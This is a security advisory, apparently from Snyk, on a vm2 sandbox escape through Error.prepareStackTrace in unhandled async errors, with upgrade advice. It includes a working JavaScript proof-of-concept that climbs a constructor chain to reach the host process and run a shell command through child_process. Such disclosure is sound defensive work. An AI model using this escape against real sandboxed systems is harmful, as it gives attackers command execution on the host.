Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade vm2
to version 3.9.15 or higher.
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Sandbox Escape due to improper handling of host objects passed to Error.prepareStackTrace
in case of unhandled async errors.
const {VM} = require("vm2");
let vmInstance = new VM();
const code = `
Error.prepareStackTrace = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
(async ()=>{}).constructor('return process')()
`
vmInstance.run(code);